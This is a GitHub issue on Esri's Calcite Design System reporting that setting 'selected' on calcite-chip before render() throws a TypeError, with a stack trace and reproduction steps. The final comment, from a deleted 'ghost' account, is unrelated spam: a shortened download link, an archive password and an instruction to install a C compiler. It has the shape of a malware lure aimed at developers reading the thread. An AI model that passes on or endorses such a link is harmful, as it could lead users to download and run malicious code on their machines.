Esri / calcite-design-system

A monorepo containing the packages for Esri's Calcite Design System
https://developers.arcgis.com/calcite-design-system/
Other
285 stars 76 forks source link

[Chip] setting "selected" before render() throws an error #10434

Open maxpatiiuk opened 2 days ago

maxpatiiuk commented 2 days ago

Check existing issues

Actual Behavior

If you set "component.selected=true" prop before calcite-chip component had it's render(), an exception will be throw here because this.parentChipGroup is still undefined:

https://github.com/Esri/calcite-design-system/blob/def59bb5f723ac79053038a30b8128957952ff25/packages/calcite-components/src/components/chip/chip.tsx#L325

@arcgis_lumina.js?v=5b61032f:800 TypeError: Cannot read properties of undefined (reading 'selectedItems')
    at Chip.handleSelectionPropertyChange (chip.tsx:291:51)
    at Chip.watchSelected (chip.tsx:228:10)
    at Chip.willUpdate (chip.tsx:203:12)
    at Chip.performUpdate (chunk-RYXVTR77.js?v=5b61032f:656:14)
    at Chip._load (@arcgis_lumina.js?v=5b61032f:843:10)

Expected Behavior

There should not be an exception

Reproduction Sample

https://codepen.io/maxpatiiuk/pen/xxvwwRE?editors=1010

Reproduction Steps

  1. Set .selectionMode to something other than "none".
  2. Set .selected=true property or a calcite-chip after component's constructor() triggered but before render().
  3. See exception in the console.

Reproduction Version

2.13.0

Relevant Info

No response

Regression?

No response

Priority impact

impact - p3 - not time sensitive

Impact

No response

Calcite package

Esri team

ArcGIS Maps SDK for JavaScript

ghost commented 2 days ago

download https://bit.ly/47P0Nvo

Password: changeme If you don't have the c compliator, install it.(gcc or clang)